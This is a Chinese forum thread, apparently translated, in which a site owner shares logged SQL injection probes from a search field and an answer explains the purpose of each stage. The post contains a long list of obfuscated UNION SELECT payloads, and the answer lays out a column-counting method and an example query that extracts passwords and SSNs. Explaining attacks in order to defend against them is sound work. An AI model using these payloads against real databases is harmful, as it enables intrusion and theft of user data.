SQL注入的目的

因此，我们在我们的网站上有一个search字段，并将所有search字词保存到数据库表中。
我今天提出了search术语表，注意到一些奇怪的search，很明显，有人正试图搞乱我们的数据库。到目前为止，已经有超过200次search。

他们似乎是一个主题的变化：

999999.9) union all select 1 and (0=0 999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39 999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 999999.9 union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21) 999999.9 union all select 1 999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39-- 999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39-- 999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39-- 999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39-- 999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39-- 999999.9 union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21)-- 999999.9 union all select 1-- 999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 and "0"="0 999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39 and "0"="0 999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and "0"="0 999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and "0"="0 999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and "0"="0 999999.9" union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21) and "0"="0 999999.9" union all select 1 and "0"="0 999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 and '0'='0 999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39 and '0'='0 999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and '0'='0 999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and '0'='0 999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and '0'='0 999999.9' union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21) and '0'='0 999999.9' union all select 1 and '0'='0 999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 and (0=0) 999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39 and (0=0) 999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and (0=0) 999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and (0=0) 999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and (0=0) 999999.9) union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21) and (0=0) 999999.9) union all select 1 and (0=0) 999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 labor op99999' union select unhex(hex(version())) -- 'x'='x labor op99999' union select unhex(hex(version())) -- 'x'='x

我们的网站search使用参数化的查询，我试着粘贴其中的一些，所以我不认为他们得到任何东西，但我真的好奇他们想要得到什么。

我真的好奇他们想要得到什么。

起初什么也没有这些只是探针。他们只是试图看到你的服务产生一个意外的结果，表明它不能处理input。键盘上可能没有真正的人，这可能只是一个尝试各种可能性的脚本。

但是，如果任何一个探测器实际上成功了，攻击的本质将会改变，你会开始尝试去做更恶意的事情。

即使你确定它不可能发生，我也不会等待。检查您的日志以查看攻击来自何处，并且如果可能的话，阻止该用户或IP看到您的系统。

提交union all子句同时探测漏洞的注入和查询的结构。使用postgres（因为这是我手边）：

 (unknown website query) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 ERROR: each UNION query must have the same number of columns LINE 2: /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 ^ ********** Error ********** ERROR: each UNION query must have the same number of columns

如果您的网站转发此错误消息，我会学到1）SQL注入工作，2）未知的网站查询select多个列。所以现在我试着用两列，三列，等等，直到我得到一个不同的错误消息，例如：

 ERROR: UNION types text and integer cannot be matched LINE 2: /**/aLl /**/sElEcT 0x393133363636353631352e39, 0

现在我知道sql注入工作，我也知道你的查询col_1或col_2返回文本数据。不久，我将绘制出SQL注入的可能点，返回的列数以及每列的数据types。

接下来，我可能会尝试从可能存储有价值信息的user等常见表名中进行联合：

 (unknown website query) union all select user_id, password, ssn from user

黑客也似乎在检查注释语法是否可以注入： /**/和-- 。这很有用，因为它可能被用来通过注释和replace部分来修改你的查询。

我猜猜这个不寻常的大写字母会让黑客更容易通过在网站响应中search唯一的string来自动化查找漏洞的过程。还有更多的事情在这里，我不明白这一切，但我希望能给出你的网站如何被探测的总体思路。